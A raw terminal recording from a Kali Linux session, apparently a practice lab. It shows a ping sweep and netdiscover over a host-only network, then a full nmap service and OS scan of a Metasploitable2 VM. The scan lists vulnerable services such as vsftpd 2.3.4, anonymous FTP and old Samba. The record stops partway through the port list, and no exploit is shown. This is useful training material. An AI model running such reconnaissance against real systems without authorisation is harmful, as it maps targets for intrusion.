Script started on 2026-04-28 03:39:50-04:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="115" LINES="16"]
                                                                                                                   

]0;kali@kali: ~
[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hsudo nmap -sn 192.168.56.0/24[29D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36mm[36ma[36mp[39m [32m-[32ms[32mn[39m[16C[?1l>[?2004l

[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-28 03:40 EDT
Nmap scan report for 192.168.56.1
Host is up (0.0023s latency).
MAC Address: 0A:00:27:00:00:4D (Unknown)
Nmap scan report for 192.168.56.10
Host is up (0.0025s latency).
MAC Address: 08:00:27:B7:D5:71 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.12
Host is up (0.0013s latency).
MAC Address: 08:00:27:6F:31:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.23
Host is up (0.012s latency).
MAC Address: 08:00:27:37:54:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.78 seconds
                                                                                                                   

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004h

[A[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m 

[A[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m sudo nmap -sC -sV -O -p- -oN vm2_scan.txt 192.168.56.23[55D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36mm[36ma[36mp[39m [32m-[32ms[32mC[39m [32m-[32ms[32mV[39m [32m-[32mO[39m [32m-[32mp[32m-[39m [32m-[32mo[32mN[39m[27C[?1l>[?2004l

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-28 03:42 EDT

                                                                                                                                    

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hc[1mc[0m[1mc[1ml[0m[1mc[1ml[1me[0m[0m[4mc[0m[4ml[0m[4me[24m[4me[4ma[24m[4ma[4mr[24m[24m[36mc[24m[36ml[24m[36me[24m[36ma[24m[36mr[39m[?1l>[?2004l

[H[2J[3J                                                                                                                                    

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hsudo netdiscover -r 192.168.56.0/24[35D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36me[36mt[36md[36mi[36ms[36mc[36mo[36mv[36me[36mr[39m [32m-[32mr[39m[16C[?1l>[?2004l

[H[2J[3J[1;1H Currently scanning: Starting.   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 0 Captured ARP Req/Rep packets, from 0 hosts.   Total size: 0                                                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
[J[1;1H Currently scanning: Starting.   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 0 Captured ARP Req/Rep packets, from 0 hosts.   Total size: 0                                                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
[J[1;1H Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                               
                                                                                                                                   
 0 Captured ARP Req/Rep packets, from 0 hosts.   Total size: 0                                                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
[J[1;1H Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                               
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                               
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J[1;1H Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                     
                                                                                                                                   
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:4d      1      60  Unknown vendor                                                                  
 192.168.56.10   08:00:27:b7:d5:71      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.12   08:00:27:6f:31:e3      1      60  PCS Systemtechnik GmbH                                                          
 192.168.56.23   08:00:27:37:54:f3      1      60  PCS Systemtechnik GmbH                                                          
[J                                                                                                                                    

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hsudo nmap -sC -sV -O -p- -oN vm2_scan.txt 192.168.56.23[55D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36mm[36ma[36mp[39m [32m-[32ms[32mC[39m [32m-[32ms[32mV[39m [32m-[32mO[39m [32m-[32mp[32m-[39m [32m-[32mo[32mN[39m [1mv[1mm[1m2[1m_[1ms[1mc[1ma[1mn[1m.[1mt[1mx[1mt[0m[14C[?1l>[?2004l

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-28 04:15 EDT
Nmap scan report for 192.168.56.23
Host is up (0.014s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ssl-date: 2026-04-28T07:28:05+00:00; -50m40s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      45191/udp   mountd
|   100005  1,2,3      45275/tcp   mountd
|   100021  1,3,4      38272/udp   nlockmgr
|   100021  1,3,4      49963/tcp   nlockmgr
|   100024  1          47780/tcp   status
|_  100024  1          58890/udp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
